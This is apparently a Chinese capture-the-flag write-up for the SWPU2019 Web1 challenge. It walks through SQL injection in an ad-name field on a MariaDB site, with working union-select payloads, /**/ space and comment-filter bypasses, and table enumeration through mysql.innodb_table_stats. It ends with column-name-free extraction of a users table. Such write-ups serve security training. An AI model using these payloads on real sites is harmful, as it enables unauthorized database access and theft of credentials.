看到登录框,admin登录试试,无弱口令。注册新用户,发现admin无法注册,于是随便注册一个用户
进入后,申请广告招商,发现有xss漏洞,但这题并不是考察xss。随便发布一个广告,看到url有id,测试了没有sql注入。
看到别人wp,发现发布广告名的地方存在sql注入。闭合符号为单引号,发现and or 空格被过滤了,这样order以及information都无法使用,并且注释符--+ # 也被过滤,因此只能够使用单引号来闭合右边剩下的单引号。不行的话可以试试在最后加上,3'
,数字随意,并且注意会当成一个列名,对猜测列数有影响。(可以尝试使用sqlmap但是没有结果,也可以fuzz一下哪些被过滤,但是会受到广告条数限制。)
查看有多少列: 1'/**/group/**/by/**/22'
,有22列。
查看回显位:```-1'union//select//1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'` ,回显位2,3
查看数据库名
-1'union/**/select/**/1,database(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
由于information被过滤,这里涉及到mysql.innodb_table_stats,也是类似information_schema存放数据库名表名等,里面有database_name,table_name,index_name,但是没有列名column_name。
查看表名
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
到这里,已经查到表名,接下来就要查询列名。
MariaDB特性
是mysql数据库的衍生版。正常查询数据如下:
但是当使用如下联合查询时,列名的名字会改变,变为1,2,3,4:
这个时候可以用`数字`或者给列取别名来代替我们想要查询的列:
需要注意的是,我们需要给临时表取一个别名,例如别名为a,可能后面用不到,但是不取会有错误。
查询user表的第二列
-1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2/**/as/**/a,3/**/union/**/select/**/*/**/from/**/users)b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
注意这里的2指的是我们要查询的是第2列数据,第二列的值为flag和admin和123,他们并不是列名。
查询user表的第三列
-1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2/**/as/**/a,3/**/union/**/select/**/*/**/from/**/users)b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
注意这里查询结果中flag{}以及后面一串字符串是第三列的数据。
总结
1.无列名注入
mysql.innodb_table_stats,也是类似information_schema存放数据库名表名
2.or被过滤
3.注释符绕过
4.空格绕过
标签:name,22,union,列名,查询,Web1,MariaDB,select,SWPU2019 From: https://www.cnblogs.com/p0n9/p/16844170.html